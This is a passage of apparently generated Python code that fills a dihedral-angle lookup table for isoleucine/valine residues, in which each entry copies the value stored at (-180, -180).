IleVal_nonxpro[(50, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(60, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(70, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(80, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(90, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(100, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(110, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(120, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(130, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(140, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(150, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -100)]=IleVal_nonxpro[(-180, -180)]
